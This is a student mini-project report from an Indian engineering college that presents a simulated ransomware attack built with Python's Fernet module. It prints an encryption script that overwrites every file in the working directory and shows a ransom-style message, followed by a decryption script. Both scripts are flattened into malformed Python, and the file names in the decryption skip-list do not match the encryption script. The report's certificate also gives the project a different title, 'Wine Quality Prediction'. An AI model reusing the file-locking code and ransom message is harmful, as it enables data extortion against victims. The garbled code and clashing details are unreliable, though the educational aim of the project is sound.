CYBERSECURITY- WHITE HAT

A MINI PROJECT REPORT

Submitted by

RAJ GUPTA [RA2111042010032]

RASESH GAUTAM [RA2111042010047]

SOURABH SHARMA [RA2111042010007]

for the course 18CSP361L – Mini Project-I

Under the guidance of

Dr. Mercy Theresa M

(Assistant Professor, Department of Data Science and Business Systems)

in partial fulfillment for the award of the degree

of

BACHELOR OF TECHNOLOGY

in

COMPUTER SCIENCE ENGINEERING AND BUSINESS SYSTEMS

of

FACULTY OF ENGINEERING AND TECHNOLOGY

S.R.M. Nagar, Kattankulathur, Chengalpattu District

NOVEMBER 2023

SRM INSTITUTE OF SCIENCE&TECHNOLOGY COLLEGE OF ENGINEERING &TECHNOLOGY

S.R.M. NAGAR, KATTANKULATHUR – 603 203

BONAFIDE CERTIFICATE

Certified that this project report "Wine Quality Prediction" is the bonafide work of "RAJ GUPTA [RA2111042010032], RASESH GAUTAM [RA2111042010047],"SOURABH SHARMA [RA2111042010007]" of III Year/V Sem B. Tech (CSBS) who carried out the mini project work under my supervision for the course 18CSP361L – Mini Project-I in SRM Institute of Science and Technology during the academic year 2023-2024(Odd Sem).

SIGNATURE
Dr. Mercy Theresa M
Assistant Professor
Data Science and Business Systems

SIGNATURE
Dr. M Lakshmi
Head of Department
Data Science and Business Systems

ACKNOWLEDGEMENT

Abstract

This mini project explores the fundamental concepts of file encryption and decryption through the lens of a simulated ransomware attack, employing the Fernet module in Python. The objective is to provide a hands-on educational experience that demystifies the mechanics of ransomware, emphasizing responsible and ethical programming practices in the context of cybersecurity.

Ransomware, a growing cybersecurity threat, encrypts files, rendering them inaccessible without a decryption key. By developing a controlled simulation, this project allows users to actively engage with the encryption and decryption processes, gaining a deeper understanding of the mechanisms at play. The implementation utilizes Python's Fernet module to encrypt files, generating a unique key for decryption.

The project's core objectives are to simulate the encryption of files within a target directory and subsequently restore them to their original state through decryption. Users are prompted to recognize the ethical implications of such tools and the importance of responsible coding practices. The educational aspect is paramount, promoting awareness of cybersecurity principles and fostering a sense of responsibility among programmers.

Input variables include files within the target directory, while the outcomes manifest as encrypted files with altered extensions and their subsequent restoration to their original form. The encryption and decryption scripts serve as a practical tool for users to comprehend the intricate processes involved in ransomware attacks, aligning with broader educational efforts to enhance cybersecurity awareness.

In conclusion, this project not only imparts technical knowledge but also instills a sense of responsibility and ethics in the application of programming skills. By delving into the complexities of ransomware simulation, users are empowered to approach coding with a heightened awareness of its implications in the realm of cybersecurity.

Problem Statement

The contemporary landscape of cybersecurity is marked by the persistent and escalating threat of ransomware attacks, wherein malicious actors encrypt files, holding them hostage until a ransom is paid. This project addresses the critical need to comprehend the inner workings of such attacks by simulating a controlled ransomware scenario using Python's Fernet module. The problem statement revolves around the lack of widespread understanding regarding the mechanics of ransomware and the associated ethical considerations in the realm of programming.

As the frequency and sophistication of ransomware attacks increase, there is a growing urgency for individuals, especially those with programming skills, to gain insights into the encryption and decryption processes involved. The lack of awareness surrounding responsible coding practices in the context of cybersecurity poses a significant challenge, as the potential misuse of such knowledge can have severe consequences.

This project seeks to bridge this knowledge gap by offering a hands-on experience in creating a simulated ransomware attack. The problem lies in the potential misuse of encryption techniques for malicious purposes, emphasizing the importance of ethical considerations in programming. The lack of accessible educational resources on responsible programming practices in the context of cybersecurity exacerbates the problem, contributing to the inadvertent development of harmful tools without an understanding of their ethical implications.

In essence, the problem statement revolves around the imperative to educate individuals, particularly those in the programming community, on the responsible and ethical use of encryption techniques to foster a cybersecurity-aware generation capable of safeguarding digital ecosystems from the escalating threat of ransomware attacks.

Introduction

Ransomware is a malicious software that encrypts files, rendering them inaccessible without a decryption key. This project delves into the creation of a simulated ransomware attack, demonstrating how files can be encrypted and subsequently decrypted using the Fernet module in Python. The objective is to educate users on the inner workings of such attacks, promoting awareness and responsible use of programming skills.

Objective

The primary objectives of the project include:

1. Simulating the encryption process using the Fernet module.
2. Simulating the decryption process to restore encrypted files.
3. Providing users with a hands-on experience to understand the mechanisms behind ransomware attacks.
4. Emphasizing the ethical considerations and responsible use of programming skills in the context of cybersecurity.

Input variables and outcome:

-Input Variables:

- Files in the target directory.
- Encryption key generated using the Fernet module.

- **Outcome:**
- Encrypted files with a new extension.
- Decrypted files restored to their original state.

This project involves two key input variables: files within the designated target directory and an encryption key generated through the Fernet module. The files in the target directory serve as the raw data to undergo the encryption process, while the Fernet-generated key acts as the crucial element for both encryption and subsequent decryption.

The project's outcomes are twofold. Firstly, the files undergo encryption, resulting in their transformation into encrypted versions with a new file extension. Secondly, through the decryption process utilizing the generated key, the encrypted

files are restored to their original, unencrypted state. These outcomes illustrate the bidirectional functionality of the implemented encryption and decryption scripts, showcasing the transformative nature of cryptographic processes.

Implementation

Encryption code:

```
import os from cryptography.fernet import Fernet as f

files = []

for file in os.listdir():     if file == "encrypt" or file == "thisiskey" or file == "decrypt":
        continue     if os.path.isfile(file):         files.append(file)

key = f.generate_key() with open("thisiskey", "wb") as k:     k.write(key)

for i in files:     with open(i, "rb") as l:         contents = l.read()     new = f(key).encrypt(contents)     with open(i, "wb") as h:         h.write(new)
print("The files have been encrypted using 128 AES encryption. Call at this number (12341) to get it fixed.")
```

Decryption Code:

```
import os from cryptography.fernet import Fernet as i

files = []

for f in os.listdir():     if f == "one" or f == "thisisit" or f == "sec":
        continue     if os.path.isfile(f):         files.append(f)
```

```
with open("thisiskey", "rb") as k:
    key = k.read()

for file in files:     with open(file, "rb") as f:         contents = f.read()
con = i(key).decrypt(contents)     with open(file, "wb") as c:         c.write(con)
```

Conclusion:

In conclusion, this mini project provides a practical exploration of file encryption and decryption using Python's Fernet module, simulating aspects of a ransomware attack. The hands-on experience allows users to grasp the intricacies of these processes, promoting a deeper understanding of cybersecurity principles. Emphasizing responsible and ethical programming practices, the project underscores the importance of wielding coding skills with awareness and accountability.

By offering a controlled environment to explore encryption and decryption, users gain insights into the techniques employed by ransomware without the ethical pitfalls of real-world scenarios. This educational tool aims to empower individuals to approach programming with a heightened sense of responsibility, fostering a community that not only comprehends the technical aspects of cybersecurity but also recognizes the ethical considerations inherent in wielding such knowledge. As cyber threats continue to evolve, cultivating a culture of responsible coding is paramount for the collective security of digital ecosystems.

REFERENCES

1. Python Official Documentation:

- [Python Documentation](https://docs.python.org/3/): The official documentation provides in-depth information about Python, including details on the Fernet module.

2. Cryptography Module Documentation:

- [Cryptography Documentation](https://cryptography.io/en/latest/): Explore the official documentation for the cryptography library, which includes the Fernet module used for encryption and decryption.

3. Ethical Hacking and Cybersecurity Resources:

- [OWASP (Open Web Application Security Project)](https://owasp.org/): OWASP provides resources on web application security, which is crucial for understanding secure coding practices.

4. Programming Ethics:

- [Software Engineering Code of Ethics and Professional Practice](https://www.acm.org/code-of-ethics): This ACM document outlines a code of ethics for software engineers and is a valuable resource for understanding ethical considerations in programming.

5. Secure Coding Guidelines:

- [CERT Secure Coding Standards](https://www.securecoding.cert.org/): The CERT Division of the Software Engineering Institute provides secure coding standards for various programming languages.

6. Python Code Quality and Style:

- [PEP 8 -- Style Guide for Python Code](https://www.python.org/dev/peps/pep-0008/): PEP 8 is the official style guide for Python code and is recommended for maintaining code readability.

These references cover a spectrum of topics, from the technical details of Python and cryptography to ethical considerations, secure coding practices, and cybersecurity awareness.